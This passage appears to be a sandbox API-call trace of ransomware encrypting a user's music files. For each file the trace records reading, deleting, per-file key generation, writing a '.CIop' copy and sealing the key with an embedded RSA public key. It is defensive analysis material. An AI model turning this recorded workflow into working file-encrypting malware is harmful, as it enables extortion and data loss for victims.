dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0096.108] ReadFile (in: hFile=0x4e0, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0x6e1a, lpNumberOfBytesRead=0x328e5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x328e5e8*=0x6e1a, lpOverlapped=0x0) returned 1 [0096.108] CloseHandle (hObject=0x4e0) returned 1 [0096.108] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\t41qgP8Zl.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\t41qgp8zl.wav")) returned 1 [0096.248] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0096.249] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0096.249] SetErrorMode (uMode=0x1) returned 0x1 [0096.249] CryptAcquireContextW (in: phProv=0x328e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x328e5b8*=0x5c8730) returned 1 [0096.251] CryptGenKey (in: hProv=0x5c8730, Algid=0x1, dwFlags=0x4000, phKey=0x328e5bc | out: phKey=0x328e5bc*=0x5c3150) returned 1 [0096.281] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x328e5ec | out: pbData=0x0*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0096.281] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x328e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0096.281] CryptDestroyKey (hKey=0x5c3150) returned 1 [0096.281] CryptReleaseContext (hProv=0x5c8730, dwFlags=0x0) returned 1 [0096.281] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\t41qgP8Zl.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\t41qgp8zl.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0096.281] WriteFile (in: hFile=0x4e4, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0x6e1a, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x328e5d8*=0x6e1a, lpOverlapped=0x0) returned 1 [0096.282] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6e1a [0096.282] WriteFile (in: hFile=0x4e4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x328e5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.282] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6e21 [0096.282] SetErrorMode (uMode=0x1) returned 0x1 [0096.282] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.282] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.282] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x328d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598 | out: pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598) returned 1 [0096.282] CryptAcquireContextW (in: phProv=0x328d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x328d5a8*=0x5c9368) returned 1 [0096.283] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c9368, dwCertEncodingType=0x1, pInfo=0x5c1ed0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x328d5b0 | out: phKey=0x328d5b0*=0x5c2fd0) returned 1 [0096.283] CryptEncrypt (in: hKey=0x5c2fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x328d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x328d5b4*=0x80) returned 1 [0096.283] CryptEncrypt (in: hKey=0x5c2fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8730*, pdwDataLen=0x328d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8730*, pdwDataLen=0x328d5a4*=0x80) returned 1 [0096.283] WriteFile (in: hFile=0x4e4, lpBuffer=0x5c8730*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8730*, lpNumberOfBytesWritten=0x328e5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.283] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.284] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.284] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.284] CloseHandle (hObject=0x4e4) returned 1 [0096.285] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\t41qgP8Zl.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\t41qgp8zl.wav")) returned 0 Thread: id = 119 os_tid = 0x5c0 [0096.310] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.310] lstrcpyW (in: lpString1=0x2fef368, lpString2="Tvn8aqPC_U.wav" | out: lpString1="Tvn8aqPC_U.wav") returned="Tvn8aqPC_U.wav" [0096.310] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.310] SetErrorMode (uMode=0x1) returned 0x1 [0096.310] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Tvn8aqPC_U.wav") returned 54 [0096.310] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Tvn8aqPC_U.wav", dwFileAttributes=0x20) returned 1 [0096.311] StrStrW (lpFirst="Tvn8aqPC_U.wav", lpSrch=".CIop") returned 0x0 [0096.311] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Tvn8aqPC_U.wav.CIop") returned 59 [0096.311] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Tvn8aqPC_U.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\tvn8aqpc_u.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0096.312] ReadFile (in: hFile=0x4f4, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0x1248a, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x2fee5e8*=0x1248a, lpOverlapped=0x0) returned 1 [0096.312] CloseHandle (hObject=0x4f4) returned 1 [0096.312] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Tvn8aqPC_U.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\tvn8aqpc_u.wav")) returned 1 [0096.314] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0096.314] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0096.314] SetErrorMode (uMode=0x1) returned 0x1 [0096.314] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c8ae8) returned 1 [0096.316] CryptGenKey (in: hProv=0x5c8ae8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5d6a88) returned 1 [0096.331] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.331] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.331] CryptDestroyKey (hKey=0x5d6a88) returned 1 [0096.331] CryptReleaseContext (hProv=0x5c8ae8, dwFlags=0x0) returned 1 [0096.332] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Tvn8aqPC_U.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\tvn8aqpc_u.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0096.332] WriteFile (in: hFile=0x4f4, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0x1248a, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x2fee5d8*=0x1248a, lpOverlapped=0x0) returned 1 [0096.333] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1248a [0096.333] WriteFile (in: hFile=0x4f4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.333] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12491 [0096.334] SetErrorMode (uMode=0x1) returned 0x1 [0096.334] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.334] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.334] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.334] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c93f0) returned 1 [0096.334] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c93f0, dwCertEncodingType=0x1, pInfo=0x5c15e0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2e90) returned 1 [0096.334] CryptEncrypt (in: hKey=0x5c2e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.334] CryptEncrypt (in: hKey=0x5c2e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8950*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8950*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.334] WriteFile (in: hFile=0x4f4, lpBuffer=0x5c8950*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8950*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.334] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.335] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.335] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.336] CloseHandle (hObject=0x4f4) returned 1 [0096.337] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Tvn8aqPC_U.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\tvn8aqpc_u.wav")) returned 0 Thread: id = 120 os_tid = 0x860 [0096.357] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.357] lstrcpyW (in: lpString1=0x2fef368, lpString2="aR-iIw.m4a" | out: lpString1="aR-iIw.m4a") returned="aR-iIw.m4a" [0096.357] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.357] SetErrorMode (uMode=0x1) returned 0x1 [0096.357] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\aR-iIw.m4a") returned 61 [0096.357] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\aR-iIw.m4a", dwFileAttributes=0x20) returned 1 [0096.358] StrStrW (lpFirst="aR-iIw.m4a", lpSrch=".CIop") returned 0x0 [0096.358] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\aR-iIw.m4a.CIop") returned 66 [0096.358] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\aR-iIw.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ar-iiw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0096.358] ReadFile (in: hFile=0x4e8, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0x767c, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x2fee5e8*=0x767c, lpOverlapped=0x0) returned 1 [0096.359] CloseHandle (hObject=0x4e8) returned 1 [0096.359] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\aR-iIw.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ar-iiw.m4a")) returned 1 [0096.360] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0096.360] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0096.361] SetErrorMode (uMode=0x1) returned 0x1 [0096.361] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c8ae8) returned 1 [0096.363] CryptGenKey (in: hProv=0x5c8ae8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5d6a88) returned 1 [0096.385] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.385] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.385] CryptDestroyKey (hKey=0x5d6a88) returned 1 [0096.385] CryptReleaseContext (hProv=0x5c8ae8, dwFlags=0x0) returned 1 [0096.385] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\aR-iIw.m4a.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ar-iiw.m4a.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0096.385] WriteFile (in: hFile=0x4e8, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0x767c, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x2fee5d8*=0x767c, lpOverlapped=0x0) returned 1 [0096.386] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x767c [0096.386] WriteFile (in: hFile=0x4e8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.386] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7683 [0096.386] SetErrorMode (uMode=0x1) returned 0x1 [0096.387] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.387] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.387] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.387] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c8ae8) returned 1 [0096.387] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8ae8, dwCertEncodingType=0x1, pInfo=0x5c1fa0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c3150) returned 1 [0096.387] CryptEncrypt (in: hKey=0x5c3150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.387] CryptEncrypt (in: hKey=0x5c3150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655708*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655708*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.387] WriteFile (in: hFile=0x4e8, lpBuffer=0x655708*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x655708*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.387] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.387] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.388] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.388] CloseHandle (hObject=0x4e8) returned 1 [0096.389] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\aR-iIw.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ar-iiw.m4a")) returned 0 Thread: id = 121 os_tid = 0x954 [0096.660] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- 